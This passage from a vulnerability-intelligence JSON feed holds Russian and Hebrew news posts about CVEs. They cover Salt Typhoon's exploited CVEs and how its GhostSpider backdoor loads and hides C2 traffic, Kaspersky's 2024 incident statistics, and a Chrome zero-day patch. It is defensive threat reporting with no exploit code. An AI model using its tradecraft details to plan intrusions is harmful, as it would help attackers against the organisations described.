\u0430\u0442\u0430\u043a\u0430\u043c, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 Washington Post, Salt Typhoon \u0442\u0430\u043a\u0436\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0435\u00a0\u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 150 \u0434\u043e\u043b\u0436\u043d\u043e\u0441\u0442\u043d\u044b\u0445 \u043b\u0438\u0446 \u0438\u0437 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0421\u0428\u0410 \u0438 \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u043e\u0432.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Trend Micro, Salt Typhoon \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b \u0442\u0435\u043b\u0435\u043a\u043e\u043c, \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043a\u043e\u043d\u0441\u0430\u043b\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435, \u0445\u0438\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0421\u0428\u0410, \u0410\u0437\u0438\u0430\u0442\u0441\u043a\u043e-\u0422\u0438\u0445\u043e\u043e\u043a\u0435\u0430\u043d\u0441\u043a\u043e\u043c \u0440\u0435\u0433\u0438\u043e\u043d\u0435, \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435, \u0432 \u042e\u0436\u043d\u043e\u0439 \u0410\u0444\u0440\u0438\u043a\u0435 \u0438 \u0434\u0440.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 Salt Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f, \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445, \u0438\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0434\u0435\u043b\u0435\u043d\u043e \u0434\u0432\u0443\u043c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c: \n- \u0410\u043b\u044c\u0444\u0430, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u0445\u0438\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Demodex \u0438 SnappyBee,\n- \u0411\u0435\u0442\u0430 - \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u044b\u0439 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u043f\u0440\u043e\u0442\u0438\u0432 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u042e\u0433\u043e-\u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0410\u0437\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c GhostSpider \u0438 Demodex.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0442\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c: CVE-2023-46805, CVE-2024-21887\u00a0(VPN-\u0441\u0435\u0440\u0432\u0438\u0441 Ivanti Connect), CVE-2023-48788 (FortiClient EMS), CVE-2022-3236 (\u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440 Sophos), CVE-2021-26855, CVE-2021-26857 - 26858, CVE-2021-27065 (ProxyLogon).\n\nSalt Typhoon \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b LOLbin \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, GhostSpider - \u044d\u0442\u043e \u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u044b\u0445 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u0437\u0430 \u0441\u0447\u0435\u0442 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u041e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 DLL \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 regsvr32.exe, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043c\u0430\u044f\u043a\u043e\u0432, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u044c.\n\nGhostSpider \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f (C2), \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u0445 HTTP \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430\u0445 cookie, \u0447\u0442\u043e\u0431\u044b \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c. \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u044d\u043a\u0434\u043e\u0440\u0443 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u0430\u0440\u0441\u0435\u043d\u0430\u043b Salt Typhoon \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0431\u0448\u0438\u0440\u0435\u043d \u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0443\u0435\u0442 \u0435\u0435 \u043a\u0430\u043a \u043e\u0434\u043d\u0443 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u044b\u0445 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 APT.", "creation_timestamp": "2024-11-26T13:40:05.000000Z"}, {"uuid": "e83bdf1e-b83d-42ac-8646-78aa3881bbd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "Telegram/XULQ1z3mVPfXxGp-jl7OkKzevhkAnDt89Vg70kUreoH08wg", "content": "", "creation_timestamp": "2024-08-28T18:13:43.000000Z"}, {"uuid": "b180db57-3f64-454e-8bb2-f8a3dab356f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "Telegram/rcLCM3CGNfD2QuHyC9ezk12P5d6sjMY1IneElyW9kpOZTWI", "content": "", "creation_timestamp": "2024-04-25T00:06:54.000000Z"}, {"uuid": "409ff504-0838-4e7a-a565-ca214d785395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/CyberSecurityIL/27463", "content": "\u05d2\u05d5\u05d2\u05dc \u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05e2\u05d3\u05db\u05d5\u05df \u05d7\u05d9\u05e8\u05d5\u05dd \u05dc\u05db\u05e8\u05d5\u05dd \u05d1\u05db\u05d3\u05d9 \u05dc\u05e1\u05d2\u05d5\u05e8 \u05d7\u05d5\u05dc\u05e9\u05ea Zero Day \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\"\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d1\u05e2\u05d5\u05dc\u05dd.\n\n\u05d1\u05d4\u05d5\u05d3\u05e2\u05d4 \u05e9\u05de\u05e4\u05e8\u05e1\u05de\u05ea \u05d2\u05d5\u05d2\u05dc \u05d4\u05d9\u05d0 \u05db\u05d9 \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4  CVE-2023-4863 \u05d4\u05d9\u05d0 \u05d1\u05e8\u05de\u05ea \u05e1\u05d9\u05db\u05d5\u05df \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea.\n\n\u05d4\u05e2\u05d3\u05db\u05d5\u05df \u05e9\u05e1\u05d5\u05d2\u05e8 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05de\u05d5\u05e4\u05e5 \u05d1\u05d2\u05e8\u05e1\u05d0\u05d5\u05ea \u05db\u05e8\u05d5\u05dd \u05d4\u05d1\u05d0\u05d5\u05ea:\n\n-116.0.5845.187 (Mac and Linux) \n\n-116.0.5845.187/.188 (Windows)\n\nhttps://t.me/CyberSecurityIL/3703\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "creation_timestamp": "2023-09-12T12:35:52.000000Z"}, {"uuid": "69afa977-a32e-4f28-b066-b24c65ec0c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "Telegram/WlMaMFraTxN-dgNMoPKfUYgcV5oiIKVHA71R9POf825BNYw", "content": "", "creation_timestamp": "2023-12-25T09:33:38.000000Z"}, {"uuid": "f4f02621-3759-4ed1-91b0-3f4102617033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/true_secator/6855", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0437\u0430 2024 \u0433\u043e\u0434.\n\n\u0412 \u043d\u0435\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c, \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 GERT, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u043f\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c, ransomware \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0433\u043e\u0434\u0430 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0440\u043e\u0441\u0442 \u0434\u043e\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0421\u041d\u0413 (50,6%), \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435 (15,7%) \u0438 \u0432 \u0415\u0432\u0440\u043e\u043f\u0435 (10,8%).\n\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 IR-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043e\u0442\u0440\u0430\u0441\u043b\u044f\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 2023 \u0433\u043e\u0434\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0432 \u0432 \u0442\u0440\u043e\u0439\u043a\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 (23,5%), \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 (16,3%) \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 (13,3%) \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u0431\u043e\u043b\u044c\u0448\u0438\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u043e\u0442 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c \u0440\u0435\u0436\u0435, \u0447\u0435\u043c \u0433\u043e\u0434\u043e\u043c \u0440\u0430\u043d\u0435\u0435.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u043a \u0440\u043e\u0441\u0442\u0443 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u044c\u044e - \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 IR-\u0443\u0441\u043b\u0443\u0433\u0438 \u0441 2023 \u0433\u043e\u0434\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u0432\u0434\u0432\u043e\u0435.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c ransomware \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u043e\u0441\u044c \u043d\u0430 8,3 \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f\u043c\u0438 2023 \u0433\u043e\u0434\u0430 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u043e 41,6% \u043e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443 \u0438 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0433\u043e\u0434\u0443, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043b\u0435\u0442, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043b\u0438\u0434\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445.\n\n\u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 LockBit\u00a0(43,6%), \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442\u00a0Babuk\u00a0(9,1%) \u0438 Phobos (5,5%). \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0438 \u043d\u043e\u0432\u044b\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a\u00a0ShrinkLocker\u00a0\u0438\u00a0Ymir.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b GERT \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a\u00a0Tusk, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u044f\u0434 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432\u00a0\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 CVE-2023-48788.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0442\u0440\u0435\u0432\u043e\u0436\u043d\u043e\u0439 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430\u0445 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, 